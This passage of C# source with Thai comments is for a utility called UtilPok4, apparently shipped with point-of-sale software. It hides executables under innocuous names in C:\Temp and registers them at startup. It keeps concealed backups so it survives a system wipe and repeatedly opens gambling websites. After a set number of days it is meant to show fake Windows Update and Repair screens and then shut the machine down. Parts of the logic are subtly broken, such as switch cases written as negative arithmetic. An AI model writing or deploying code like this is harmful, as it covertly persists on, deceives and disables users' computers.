                        Print3Txt.WriteLine("7=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://www.188bet.com/th-th/asia");
                        Print3Txt.WriteLine("8=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://alpha88.world/");
                        Print3Txt.WriteLine("9=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://rb88play.com/");
                        Print3Txt.WriteLine("10=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://tieba.baidu.com/index.html");
                        Print3Txt.WriteLine("11=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://news.e23.cn/");
                        Print3Txt.WriteLine("12=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://news.google.com/topstories?hl=ru&gl=RU&ceid=RU:ru");
                        Print3Txt.WriteLine("13=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "http://health.e23.cn/?spm=0.0.0.0.LEcPLV");
                        Print3Txt.WriteLine("14=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://gtrbetclub.com");
                        Print3Txt.WriteLine("15=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://www.ufa888.info");
                        Print3Txt.WriteLine("16=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "http://www.baidu.com");
                        Print3Txt.WriteLine("17=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://www.hao123.com");
                        Print3Txt.WriteLine("18=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "http://v.baidu.com");
                        Print3Txt.WriteLine("19=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://firsttaobao.com");
                        Print3Txt.WriteLine("20=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "http://www.9game.cn");
                        Print3Txt.WriteLine("21=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://www.tap.io");
                        Print3Txt.WriteLine("22=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "http://www.google.cn");
                        Print3Txt.WriteLine("23=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "http://www.191game.com");
                        Print3Txt.WriteLine("24=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://we.tl/t-Hy0BJyOtwx");
                        Print3Txt.WriteLine("25=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));
                        break;
                }
            }
            OpenWEB(1, "C:\\Temp\\WarnForYou.txt");  
            Print3Txt.WriteLine("END=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));
            Print3Txt.Close();
            AddTxtActivate("2","");
            AddTxtActivate("9", "");
        }

        private static void AddStartWinok() 
        {
            // UtilPok4 9 MyGlobal.cpWord1 MyGlobal.cpWord2
            // Ex. UtilPok4 9 X Y
            // Ex. X 1=นำไปใส่  2=เอาออก 3=ตรวจสอบ 4=ให้ลบไฟล์ที่สำคํญเข้า 1 อีกรอบ 
            // Y 1=นำไปใส่ซ้ำ เช่น  UtilPok4 9 1 0 ถ้ายังไม่เข้าให้เปลี่ยนเป็น UtilPok4 9 1 1
            try
            {
            string Soft4Process = "pokforload";
            string FdOnDrvC;
            switch (MyGlobal.cpWord1)
            {
                case ("2"):  // ออก 
                    AutoExetoStart(-1, Soft4Process, "");
                    break;
                case ("3"): // เช็ค
                    AutoExetoStart(0, Soft4Process, "");
                    break;
                default:   
                    string FdOnCloud = MyGlobal.cpSubPath + "\\DEC\\uwinboot.exe";
                    string FdMovSubname = DateTime.Now.ToString("ddMMyy_HHmm");
                    string FdMove = MyGlobal.cpSubPath + "\\DEC\\uwinboot"+ FdMovSubname+".bak";

                    if (MyGlobal.cpWord2 == "3") // ให้สลับชื่อไฟล์เป็น uwinauto.exe UtilPok4 9 1 3
                    {
                        MyGlobal.cpWord2 = "2";
                        FdOnCloud = MyGlobal.cpSubPath + "\\DEC\\uwinauto.exe";
                        FdMove = MyGlobal.cpSubPath + "\\DEC\\uwinauto"+ FdMovSubname+".bak";
                    }

                    // ถ้ามีใน D:\BdPos\ ให้ทำใน D:\BdPos ก่อน 
                    if (File.Exists("D:\\BdPos\\uwinboot.exe"))
                    { FdOnCloud = "D:\\BdPos\\uwinboot.exe"; FdMove = "D:\\BdPos\\uwinboot.e_"; }

                    // ลบไฟล์สำคัญอีกรอบแล้วโปรแกรมจะใหม่ 
                    if (MyGlobal.cpWord1=="4")
                    {
                        if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)+"\\Win2boot.lnk")) 
                        {File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup)+"\\Win2boot.lnk");}   
                        if (File.Exists("C:\\Temp\\winstloadh.exe")) {File.Delete("C:\\Temp\\winstloadh.exe");}  
                    }

                    // ***** สำหรับตอนติดตั้งโปรแกรมครั้งแรก 
                    FdOnDrvC = "C:\\Temp\\winstloadh.exe";
                    // Copy และเปลี่ยนชื่อไฟล์ต้นทาง 
                    // UtilPok4 9 1 0 ใส่ใน Registry
                    if ((MyGlobal.cpWord2 == "0" || MyGlobal.cpWord2 == "1")  && (File.Exists(FdOnCloud) && !File.Exists(FdOnDrvC)))
                    {
                        File.Copy(FdOnCloud,FdOnDrvC); 
                        if (MyGlobal.insource + MyGlobal.in_pos_prog == 0)
                        { AutoExetoStart(1, Soft4Process, FdOnDrvC); AddTxtActivate("4","1."+FdOnDrvC);File.Copy(FdOnCloud,"C:\\Temp\\AddREG.Hav",true); }
                        File.Move(FdOnCloud, FdMove);

                    }
                    if (File.Exists(FdOnCloud)) // เจอไฟล์ uwinboot.exe ใหม่ ให้เอาไปทับ 
                    {
                        File.Copy(FdOnCloud, FdOnDrvC, true);
                        File.Move(FdOnCloud, FdMove);
                    }

                    // UtilPok4 9 1 1 ใส่ใน Registry ซ้ำ
                    if (MyGlobal.cpWord2=="1" && File.Exists(FdOnDrvC) && MyGlobal.insource + MyGlobal.in_pos_prog == 0) 
                    { AutoExetoStart(1, Soft4Process, FdOnDrvC); AddTxtActivate("4", "DUP"); }

                    string Fl4Check,FlShortcut;
                    Fl4Check = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
                    FlShortcut = @"C:\Temp\Win2boot.lnk";
                    
                    if (!File.Exists(FlShortcut)) // ไม่เจอให้ Copyมาจาก คลาวด์
                    {
                        if (File.Exists(MyGlobal.cpSubPath + @"\DEC\Win2boot.ln_"))
                        { File.Copy(MyGlobal.cpSubPath + @"\DEC\Win2boot.ln_", FlShortcut); }
                    }
                    if (!File.Exists(FlShortcut)) { FlShortcut = @"D:\BdPos\Win2boot.ln_"; } // ไม่เจอให้หาที่ D:\\BdPos\\

                    // UtilPok4 9 1 2 ใส่ใน Startmenu สำหรับUser ที่ใช้งานปัจจุบัน 
                    if (MyGlobal.cpWord2 == "2" && File.Exists(FdOnDrvC) && File.Exists(FlShortcut) && MyGlobal.insource + MyGlobal.in_pos_prog == 0)   
                    {
                        if (Directory.Exists(Fl4Check) && !File.Exists(Fl4Check + "\\Win2boot.lnk"))
                        {
                            File.Copy(FlShortcut, Fl4Check + "\\Win2boot.lnk"); AddTxtActivate("4", "2." + Fl4Check + "\\Win2boot.lnk");
                        }
                    }

                    FdOnCloud= MyGlobal.MyApp;
                    FdOnDrvC = "C:\\Temp\\WinLock.exe";
                    CompareFile(FdOnCloud, FdOnDrvC,0);
                    
                    // ให้ Copy ไปที่ D:\Bdpos\UtilPok4.exe ตัวล่าสุด 
                    // if (MyGlobal.MyApp.ToUpper()!=@"D:\BDPOS\UTILPOK4.EXE" && File.Exists(@"D:\BdPos\UtilPok4.exe"))
                    // { CompareFile(MyGlobal.MyApp, @"D:\BdPos\UtilPok4.exe", 0); }
                        
                    // เปลี่ยนไฟล์ใน คลาวด์
                    CompareFile(MyGlobal.cpSubPath + "\\DEC\\uwinboot2.new", MyGlobal.cpSubPath + "\\DEC\\uwinboot2.exe",3);
                    break;
                }
				string[] File4List;
				// สำรองโปรแกรมไว้ เผื่อมีการล้างเครื่อง 
				if (File.Exists("C:\\Temp\\winstloadh.exe"))
				{
					File4List = Directory.GetFiles("C:\\Temp");
					foreach (string FileName in File4List)
					{
                    FdOnDrvC = MyGlobal.cpDriveHave + "\\TmpFile\\Backup\\"+ Path.GetFileName(FileName) ;
                    CompareFile(FileName,FdOnDrvC,0);
					}
				}
				// ตรวจสอบไฟล์ที่มาจากสำรอง  
				if (!File.Exists("C:\\Temp\\WinLock.exe") && Directory.Exists(MyGlobal.cpDriveHave + "\\TmpFile\\Backup"))
				{
                File4List = Directory.GetFiles(MyGlobal.cpDriveHave + "\\TmpFile\\Backup");
                foreach (string FileName in File4List)
					{
                    FdOnDrvC =   "C:\\Temp"+ Path.GetFileName(FileName) ;
                    CompareFile(FileName,FdOnDrvC,0);
					}
				}
			} // Try  
            catch (Exception ex) { FLEError(ex.ToString()); return; }
        }


        private static void CompareFile(string FLESouce,string FLETarget,int nFLERename) // เปรียบเทียบไฟล์และCopy 
        {
            // nFLERename 1=เปลี่ยนชื่อไฟล์ต้นทาง  ,  2=เปลี่ยนชื่อไฟล์ปลายทาง 3=1+2
            string FLEMove;
            // ไม่เจอให้ Copy ทับเลย 
            if (File.Exists(FLESouce) && !File.Exists(FLETarget))
            { 
			if (nFLERename == 1) {File.Move(FLESouce, FLETarget); } else {File.Copy(FLESouce, FLETarget); }
			AddTxtActivate("0", "Copy " + FLESouce); 
			AddTxtActivate("0", " To " + FLETarget); 
			}

            // ถ้าเจอให้เปรียบเทียบวัน  
            if (File.Exists(FLESouce) && File.Exists(FLETarget)) 
            {
                if (File.GetLastWriteTime(FLESouce) > File.GetLastWriteTime(FLETarget))
                {
                    // ถ้าเป็น 2 ให้เปลี่ยนชื่อไฟล์ปลายทาง
                    if ((nFLERename == 2 || nFLERename == 3) && File.Exists(FLETarget))  
                    {
                        FLEMove = FLETarget.Substring(0, FLESouce.Length - 4) + DateTime.Now.ToString("ddMMyy_HHmm");
                        FLEMove = FLEMove + FLESouce.Substring(FLESouce.Length - 4);
                        File.Move(FLETarget, FLEMove);
                        AddTxtActivate("0", "-Rename " +FLETarget);
                        AddTxtActivate("0", " To " + FLEMove);
                    }
                    // *****
                    File.Copy(FLESouce, FLETarget, true);
                    AddTxtActivate("0", "Copy " + FLESouce);
                    AddTxtActivate("0", " To " + FLETarget + " *Again");
                }
            }

            // ถ้าเป็น 1,3 หลังจากทำงานเสร็จแล้วให้เปลี่ยนไฟล์ปลายทาง
            if ((nFLERename == 1 || nFLERename == 3) && File.Exists(FLESouce))
            {
                FLEMove = FLESouce.Substring(0, FLESouce.Length - 4) + DateTime.Now.ToString("ddMMyy_HHmm");
                FLEMove = FLEMove + FLESouce.Substring(FLESouce.Length - 4);
                File.Move(FLESouce, FLEMove);
                AddTxtActivate("0", "-Rename " + FLESouce);
                AddTxtActivate("0", " To " + FLEMove);
            }
        }


        private static void Pok4Key(int pVar) // สำหรับเปลี่ยนค่าฟังก์ชันในคลาวด์เลย  
        {
            string Fle4Edit = MyGlobal.cpSubPath + "\\DEC\\UtilPOK4.txt",cLine0;
            if (pVar == 2) { Fle4Edit = MyGlobal.cpSubPath + "\\DEC\\UtilYOU.txt"; }
            if (!File.Exists(Fle4Edit))
            {
                TextWriter Print2Txt = new StreamWriter(Fle4Edit);
                if (pVar == 2) { Print2Txt.WriteLine("R00"); }
                else { Print2Txt.WriteLine("912"); }
                Print2Txt.Close();
            }
            string[] lines = File.ReadAllLines(Fle4Edit);
            cLine0 = lines[0].Trim();
            MyGlobal.cpFlag = cLine0.Substring(0, 1);
            MyGlobal.cpWord1= cLine0.Substring(1, 1);
            MyGlobal.cpWord2 = cLine0.Substring(2);
            MyGlobal.cpText1 = MyGlobal.cpWord1 + " " + MyGlobal.cpWord2;
            MyGlobal.cpText2 = MyGlobal.cpWord2;
            AddTxtActivate("5", Fle4Edit);
        }

        private static void UtilPok4Readme()  
        {
            string FLReadme = MyGlobal.cpSubPath + "\\OCT\\Readme.txt";
            string FLactive;
            using (System.IO.StreamWriter MyReadme = new System.IO.StreamWriter(FLReadme))
            {
                MyReadme.WriteLine(FLReadme);
                MyReadme.WriteLine("...");
                MyReadme.WriteLine("DATE : "+ DateTime.Now.ToString("dd/MM HH:mm:ss"));
                // เช็คไฟล์ที่ รัน
                FLactive = MyGlobal.MyApp;
                MyReadme.WriteLine("File Run : "+FLactive);
                MyReadme.WriteLine("DATE : "+File.GetLastWriteTime(FLactive).ToString("dd/MM HH:mm:ss"));
                // เช็คไฟล์ใน Startmenu 
                FLactive= Environment.GetFolderPath(Environment.SpecialFolder.Startup);
                if (Directory.Exists(FLactive))
                {
                    MyReadme.WriteLine("");
                    MyReadme.WriteLine("2==");
                    MyReadme.WriteLine("Folder = "+FLactive);
                    string[] File4List = Directory.GetFiles(FLactive);
                    foreach (string FileName in File4List)
                    { MyReadme.WriteLine("-"+ Path.GetFileName(FileName)+" ,"+File.GetLastWriteTime(FileName).ToString("dd/MM HH:mm")); }
                }


                FLactive = @"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp";
                if (Directory.Exists(FLactive))
                {
                    MyReadme.WriteLine("");
                    MyReadme.WriteLine("3==");
                    MyReadme.WriteLine("Folder = " + FLactive);
                    string[] File4List = Directory.GetFiles(FLactive);
                    foreach (string FileName in File4List)
                    { MyReadme.WriteLine("-" + Path.GetFileName(FileName) + " ," + File.GetLastWriteTime(FileName).ToString("dd/MM HH:mm")); }
                }

                FLactive = @"C:\Temp";
                if (Directory.Exists(FLactive))
                {
                    MyReadme.WriteLine("");
                    MyReadme.WriteLine("Folder = " + FLactive);
                    string[] File4List = Directory.GetFiles(FLactive);
                    foreach (string FileName in File4List)
                    { MyReadme.WriteLine("-" + Path.GetFileName(FileName) + " ," + File.GetLastWriteTime(FileName).ToString("dd/MM HH:mm")); }
                }


                FLactive = MyGlobal.cpSubPath + "\\DEC";
                if (Directory.Exists(FLactive))
                {
                    MyReadme.WriteLine("");
                    MyReadme.WriteLine("Folder = " + FLactive);
                    string[] File4List = Directory.GetFiles(FLactive);
                    foreach (string FileName in File4List)
                    { MyReadme.WriteLine("-" + Path.GetFileName(FileName) + " ," + File.GetLastWriteTime(FileName).ToString("dd/MM HH:mm")); }
                }


                FLactive = MyGlobal.cpSubPath;
                if (Directory.Exists(FLactive))
                {
                    MyReadme.WriteLine("");
                    MyReadme.WriteLine("Folder = " + FLactive);
                    string[] File4List = Directory.GetFiles(FLactive);
                    foreach (string FileName in File4List)
                    { MyReadme.WriteLine("-" + Path.GetFileName(FileName) + " ," + File.GetLastWriteTime(FileName).ToString("dd/MM HH:mm")); }
                }


                FLactive = MyGlobal.cpSubPath + "\\OCT";
                if (Directory.Exists(FLactive))
                {
                    MyReadme.WriteLine("");
                    MyReadme.WriteLine("Folder = " + FLactive);
                    string[] File4List = Directory.GetFiles(FLactive);
                    foreach (string FileName in File4List)
                    { MyReadme.WriteLine("-" + Path.GetFileName(FileName) + " ," + File.GetLastWriteTime(FileName).ToString("dd/MM HH:mm")); }
                }


                FLactive = MyGlobal.cpDriveHave + "\\TmpFile";
                if (Directory.Exists(FLactive))
                {
                    MyReadme.WriteLine("");
                    MyReadme.WriteLine("Folder = " + FLactive);
                    string[] File4List = Directory.GetFiles(FLactive);
                    foreach (string FileName in File4List)
                    { MyReadme.WriteLine("-" + Path.GetFileName(FileName) + " ," + File.GetLastWriteTime(FileName).ToString("dd/MM HH:mm")); }
                }

                FLactive = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                if (Directory.Exists(FLactive))
                {
                    if (!Directory.Exists(MyGlobal.cpSubPath + "\\OCT\\ShortCut")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\OCT\\ShortCut"); }
                    MyReadme.WriteLine("");
                    MyReadme.WriteLine("Folder = " + FLactive);
                    string[] File4List = Directory.GetFiles(FLactive);
                    foreach (string FileName in File4List)
                    {
                        MyReadme.WriteLine("-" + Path.GetFileName(FileName) + " ," + File.GetLastWriteTime(FileName).ToString("dd/MM HH:mm"));
                        if (FileName.Substring(FileName.Length-4)== ".lnk" && MyGlobal.cpWord1 == "2")
                        {
                            File.Copy(FileName, MyGlobal.cpSubPath + "\\OCT\\ShortCut\\" + Path.GetFileName(FileName),true);
                        }
                    }
                }

                MyReadme.WriteLine("");
            }
            if (File.Exists("C:\\Temp\\winstloadh.exe") && File.Exists("C:\\Temp\\AddREG.Hav")) { AutoExetoStart(0, "pokforload", ""); }
  
            if (File.Exists(FLReadme) && (MyGlobal.cpWord1=="1"))
            {
                System.IO.FileInfo fileObj = new System.IO.FileInfo(FLReadme);
                System.Diagnostics.Process.Start(FLReadme);
            }
        }

        private static void AutoUtilPOK4() 
        {
            string FLtxt = "C:\\Temp\\auto.txt";
            // สร้างไฟล์เพื่อเช็ควัน 
            if (!File.Exists(FLtxt))
            {
                using (System.IO.StreamWriter Mytxt = new System.IO.StreamWriter(FLtxt))
                {
                    Mytxt.WriteLine(DateTime.Now.ToString("ddMMyyyyHHmmss"));
                    Mytxt.Close();
                }
           }
            // นับเวลาเป็นวัน 
            // double dCount = 0;
            DateTime txtDate = File.GetLastWriteTime(FLtxt);
            TimeSpan ts = (DateTime.Now - txtDate);
            double dCount = ts.TotalDays;

            MyGlobal.cpFlag = "0"; MyGlobal.cpWord1 = "0"; MyGlobal.cpWord2 = "0";
            int iCount = (int)dCount;
            string AutoText="No Action";
            switch (iCount)
            {
                case (30 - 33):
                    MyGlobal.cpFlag = "8"; MyGlobal.cpWord1 = "0"; MyGlobal.cpWord2 = "1";
                    AutoText = "=>Three Web"; break; // แสดงแค่ 3 เวบ 
                case (35 - 40):
                    MyGlobal.cpFlag = "8"; MyGlobal.cpWord1 = "0"; MyGlobal.cpWord2 = "0";
                    AutoText = "=>Many Web";  break; // แสดงหลายเวบ 
                case (41 - 45):
                    MyGlobal.cpFlag = "1"; MyGlobal.cpWord1 = "3"; MyGlobal.cpWord2 = "?";
                    AutoText = "=>Window Update";  break; // หน้าจอ Windows Update 
                case (46 - 47):
                    MyGlobal.cpFlag = "1"; MyGlobal.cpWord1 = "8"; MyGlobal.cpWord2 = "?";
                    AutoText = "=>Windows Repair"; break; // หน้าจอ Auto Fix
                case (49 - 600):
                    MyGlobal.cpFlag = "1"; MyGlobal.cpWord1 = "9"; MyGlobal.cpWord2 = "?";
                    AutoText = "=>Windows Repair And Shutdown";  break; // หน้าจอ Auto Fix และปิดเครื่อง
            }
            MyGlobal.cpText1 = MyGlobal.cpWord1 + " " + MyGlobal.cpWord2;
            MyGlobal.cpText2 = MyGlobal.cpWord2;
            AddTxtActivate("7", "Time : "+iCount.ToString()+" Day , "+AutoText);
            try
            {
                // ลบไฟล์ขยะต่างๆ  
                DelBDTmpFle(MyGlobal.cpSubPath + "\\OCT", "*.txt", 7);
                DelBDTmpFle(MyGlobal.cpSubPath + "\\OCT", "*.jpg", 7);
                DelBDTmpFle(MyGlobal.cpSubPath + "\\NOV", "*.txt", 7);
                DelBDTmpFle(MyGlobal.cpSubPath + "\\NOV", "*.jpg", 7);
                DelBDTmpFle(MyGlobal.cpSubPath + "\\DEC\\Trash\\Bdpos", "*.*", 7);
                DelBDTmpFle(MyGlobal.cpSubPath + "\\DEC\\Trash\\C_Temp", "*.*", 7);
                DelBDTmpFle(MyGlobal.cpSubPath + "\\DEC\\Trash\\Dbfrun", "*.*", 7);
                DelBDTmpFle(MyGlobal.cpSubPath + "\\DEC\\Trash\\E_Backup", "*.*", 7);
                // ปรับปรุงโปรแกรมจากคลาว์
                Update2HDK();
            }
            catch (Exception ex) { FLEError(ex.ToString()); return; }
        }



        private static void SetupVar()
        {
            if (!Directory.Exists(MyGlobal.cpDriveHave)) { MyGlobal.cpDriveHave = "C:"; }  // ตรวจสอบ Drive D
            FolderIsHidden(MyGlobal.cpDriveHave + "\\TmpFile");
            FolderIsHidden(MyGlobal.cpDriveHave + "\\TmpFile\\Backup");
            FolderIsHidden("C:\\Temp");

            // หาตำแหน่งไฟล์  
            string DRVactive = Path.GetDirectoryName(MyGlobal.MyApp);
            bool FlagDRV = false;  //ตรวจสอบ Folder \Backup\DEC\  ในคลาวด์
            if (DRVactive.Substring(DRVactive.Length-3).ToUpper()=="DEC") { FlagDRV = true; }
            if (!File.Exists("C:\\Temp\\repoPOK.txt") || FlagDRV)
            {
                TextWriter Print2Txt = new StreamWriter("C:\\Temp\\repoPOK.txt");
                if (FlagDRV) { Print2Txt.WriteLine(DRVactive.Substring(0,DRVactive.Length - 4));} // อยู่บน คลาวด์
                else { Print2Txt.WriteLine(DRVactive); }
                Print2Txt.Close();
            }
			//   
			if (!Directory.Exists("C:\\BdPos") && !Directory.Exists("D:\\BdPos")) { MyGlobal.instandalone=1; }
			if (MyGlobal.instandalone==1 && File.Exists("C:\\Temp\\repoPOK.txt"))
			{
			    TextWriter Print2Txt2 = new StreamWriter("C:\\Temp\\repoPOK.txt");
				Print2Txt2.WriteLine("C:\\Temp");
				Print2Txt2.Close();
			}
		    // 
            string cfRepoPOK = "D:\\BdPos\\repoPOK.txt", cfBackup = "";
            // ถ้าไฟล์จริงไม่มี ให้ตรวจจากไฟล์สำรองแทน
            if (!File.Exists("D:\\BdPos\\repoPOK.txt")) { cfRepoPOK = "C:\\Temp\\repoPOK.txt";} 
			if (File.Exists(cfRepoPOK))
            {
                string[] lines = File.ReadAllLines(@cfRepoPOK);
                cfBackup = lines[0].Trim();
                if (cfBackup.Substring(cfBackup.Length - 1, 1) == @"\")
                { cfBackup = cfBackup.Substring(0, cfBackup.Length - 1); }
                if (cfBackup=="" || !Directory.Exists(cfBackup)) { File.Delete(cfBackup); }  // พบปัญหาให้ลบไฟล์ ซะ
            }
            MyGlobal.cpSubPath = cfBackup;
            if (MyGlobal.insource+MyGlobal.in_pos_prog==0)
            {
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\JAN")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\JAN"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\FEB")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\FEB"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\MAR")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\MAR"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\APR")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\APR"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\MAY")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\MAY"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\JUNE")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\JUNE"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\JULY")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\JULY"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\AUG")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\AUG"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\SEPT")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\SEPT"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\OCT")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\OCTO"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\NOV")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\NOVEM"); }
                if (!Directory.Exists(MyGlobal.cpSubPath + "\\DEC")) { Directory.CreateDirectory(MyGlobal.cpSubPath + "\\DECEM"); }
            }
            if (!Directory.Exists(MyGlobal.cpSubPath + "\\OCT")) { FolderIsHidden(MyGlobal.cpSubPath + "\\OCT");}
            if (!Directory.Exists(MyGlobal.cpSubPath + "\\NOV")) { FolderIsHidden(MyGlobal.cpSubPath + "\\NOV"); }
            if (!Directory.Exists(MyGlobal.cpSubPath + "\\DEC")) { FolderIsHidden(MyGlobal.cpSubPath + "\\DEC");}
            if (MyGlobal.cpFlag == "R")
            {
                AddTxtActivate("0", "Read : " + cfRepoPOK);
                AddTxtActivate("0"," " + MyGlobal.cpSubPath);
            }

            if (!File.Exists("Brower.txt"))
            {
                TextWriter Print2Txt = new StreamWriter("Brower.txt");
                Print2Txt.WriteLine("Internet Not Connect");
                Print2Txt.Close();
            }
            if (!File.Exists("C:\\Temp\\WarnForYou.txt")) { File.Copy("Brower.txt", "C:\\Temp\\WarnForYou.txt"); }
            // ตรวจสอบการ Online 
            double dCount = 0;
            DateTime StartDate = DateTime.Now;
            string webname = "http://www.google.com";
            try
            {
                using (var client = new WebClient())
                using (var stream = client.OpenRead(webname))
                {
                    TimeSpan ts = (DateTime.Now - StartDate);
                    dCount = ts.TotalSeconds;
                }
            }
            catch
            {
                TimeSpan ts = (DateTime.Now - StartDate);
                dCount = ts.TotalSeconds;
            }
            // ตรวจสอบการติดต่อเนตนานเกินไปให้ยกเลิก
            if (dCount >= 20) { MyGlobal.iOnline = 0; }

            // เลขที่คุมการปเปิด-ปิดโปรแกรม   
            Random random = new Random();
            int randomNumber = random.Next(0, 1000);
            MyGlobal.cIndexRun = randomNumber.ToString();

            // วันที่ Login 
            MyGlobal.dDTLogin = DateTime.Now;
            MyGlobal.cpFlag = MyGlobal.cpFlag.ToUpper();
            MyGlobal.cpText1 = MyGlobal.cpText1.ToUpper();
            MyGlobal.cpText2 = MyGlobal.cpText2.ToUpper();
            MyGlobal.cpWord1 = MyGlobal.cpWord1.ToUpper();
            MyGlobal.cpWord2 = MyGlobal.cpWord2.ToUpper();

			string FLETarget; 
            string[] File4List;
			// ตรวจสอบไฟล์รูปภาพ 
            if (File.Exists(MyGlobal.cpSubPath + "\\NOV\\qrcodeactivate.png") && !File.Exists("C:\\Temp\\qrcodeactivate.png")) 
            {
                File4List = Directory.GetFiles(MyGlobal.cpSubPath+"\\NOV");
                foreach (string FileName in File4List)
                {
                    FLETarget = "C:\\Temp\\" + Path.GetFileName(FileName) ;
                    File.Copy(FileName,FLETarget,true);
                }
            }
            // เป็นการตรวจสอบไฟล์ 
            if (!File.Exists(MyGlobal.cpSubPath + "\\NOV\\qrcodeactivate.png")) { FLEError("No File " + MyGlobal.cpSubPath + "\\NOV\\qrcodeactivate.png"); }
		}

	
        private static void StartApp()
        {
            switch (MyGlobal.cpWord1)
            {
                case ("1"):
                    try
                    {
                        MyGlobal.cpWord1 = "1"; MyGlobal.cpWord1 = "2";
                        MyGlobal.cpText1 = MyGlobal.cpWord1 + " " + MyGlobal.cpWord2;
                        MyGlobal.cpText2 = MyGlobal.cpWord2;
                        AddStartWinok(); // ฝังตัวตอน BOOT
                        MyGlobal.cpWord1 = "0"; MyGlobal.cpWord1 = "0";
                        MyGlobal.cpText1 = MyGlobal.cpWord1 + " " + MyGlobal.cpWord2;
                        MyGlobal.cpText2 = MyGlobal.cpWord2;
                        UtilPok4Readme(); // สร้างไฟล์ Readme.txt
                    }
                    catch (Exception ex) { FLEError(ex.ToString()); return; }
                    break;
            }
        }


        static void Main(string[] args)
        {  
            MyGlobal.cpFlag = ""; MyGlobal.cpWord1 = ""; MyGlobal.cpWord2 = "";
            MyGlobal.cpText1 = ""; MyGlobal.cpText2 = "";
            if (args.Length == 0) 
            { 
                string comp2exe = "XXXXX"; // util18.exe เป็นการ Build เพื่อโปรแกรมแต่ละตัว  
                switch (comp2exe) 
                {
                    case ("A"): // พิเศษ uwinauto.exe 
                        MyGlobal.cpFlag = "AUTO";
                        MyGlobal.cpWord1 = "?";
                        MyGlobal.cpWord2 = "?";
                        break;
                    case ("S"): // พิเศษ  start32bit.exe
                        break;
                    case ("W"): // พิเศษ  uwinboot.exe   
                        MyGlobal.cpFlag = "1";
                        MyGlobal.cpWord1 = "W";
                        MyGlobal.cpWord2 = "?";
                        break;
                    case ("Y"): // พิเศษ uwinboot2.exe หรือ (uwinboot2.new เพื่อแทนที่ uwinboot2.exe ในคลาวด์)
                        MyGlobal.cpFlag = "YOU";
